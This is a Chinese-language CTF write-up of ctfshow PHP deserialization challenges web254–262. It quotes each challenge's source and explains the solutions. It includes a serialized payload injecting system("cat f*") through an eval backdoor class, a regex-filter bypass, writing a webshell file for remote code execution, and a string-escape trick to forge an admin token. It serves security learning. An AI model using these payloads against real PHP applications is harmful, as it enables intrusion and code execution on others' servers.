web254
主要是考察能不能看懂这个类,跟反序列化没关系
payload:/?username=xxxxxx&password=xxxxxx
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx'; //这里定义了属性值
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){ //这句判断是解题关键$this->username就是xxxxxx
//而$u就是下面GET传入的username
if($this->username===$u&&$this->password===$p){
$this->isVip=true; //满足条件后isVip就为真,然后一直顺利走下去了
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser(); //实例化类
if($user->login($username,$password)){ //login方法调用传入的变量
if($user->checkVip()){ //判断为真进行下一步
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){ //相较于上题,判断成功后$isVip也不为true
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //反序列化cookie传入的user
//这里需要的是实例化这个$user
if($user->login($username,$password)){ //所以我们构造序列化后的语句并传入cookie来实现
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
由于需要序列化的操作,自己搞个php文件copy代码修改,执行来获得自己想要的东西
我们需要 $user= new ctfShowUser();
也就是 new ctfShowUser() 序列化后的字符串,这里还需要url编码
echo urlencode(serialize(new ctfShowUser()));
这样就成了
web256
相较于上题,只有这里是不同的,所以只需弄明白怎么绕过这里就可了
很简单,就是让username不等于password,
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
将username 和 password 的值改变了,再去序列化构造 payload
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info(); //这里可以让$this->class表示info()实例化
自然也可以实例化 backDoor()
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code); //解题关键
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
摘抄羽师傅的:
大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。
web258
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
也是在上一题的基础上加强了判断,正则过滤,不能出现 O : 数字
解释:
[oc] --> 匹配内部某个字符
\d --> 匹配数字
+ --> 匹配至少一个
O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}}
也就是过滤了序列化字符串的一种标识,用 +数字 替代 数字
自己构造:
web259
有点难啊
从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D
payload: /?ctfshow=ctfshow_i_love_36D
因为传值后 $_GET['ctfshow'] 序列化出来的东西就是s:18:"ctfshow_i_love_36D";
web261
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //这题没用
eval($this->code);
}
public function __sleep(){ //这题没用
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){ //弱类型等于877
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这题的关键就是username和password拼接成的$this->code弱等于877(0x36d)
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
先/?vip=序列化内容 ,然后访问877.php 进行rce (不是很理解)
web262
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
message.php
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
也就是需要使token变成admin
群主的详解:有关字符逃逸
CTFshow-web入门-反序列化_哔哩哔哩_bilibili
先本地构造,查看字符逃逸
<?php
class message
{
public $from;
public $msg;
public $to;
public $token = 'user';
public function __construct($f, $m, $t)
{
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg)
{
return str_replace('fuck', 'loveU', $msg); //这里交换值造成字符逃逸
}
$msg = new message('fuck', 'b', 'c');
$msg_1 = serialize($msg); //序列化
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg_2 = filter($msg_1); //序列化字符串交换fuck和loveU
echo $msg_2;
//O:7:"message":4: {s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
这里明显 loveU是5个字符,却表示4个
payload有62个字符,我们之前fuck交换loveU得到1个字符差距
所以这次用62个fuck交换
根据题意,序列化的结果再去base64,然后传入cookie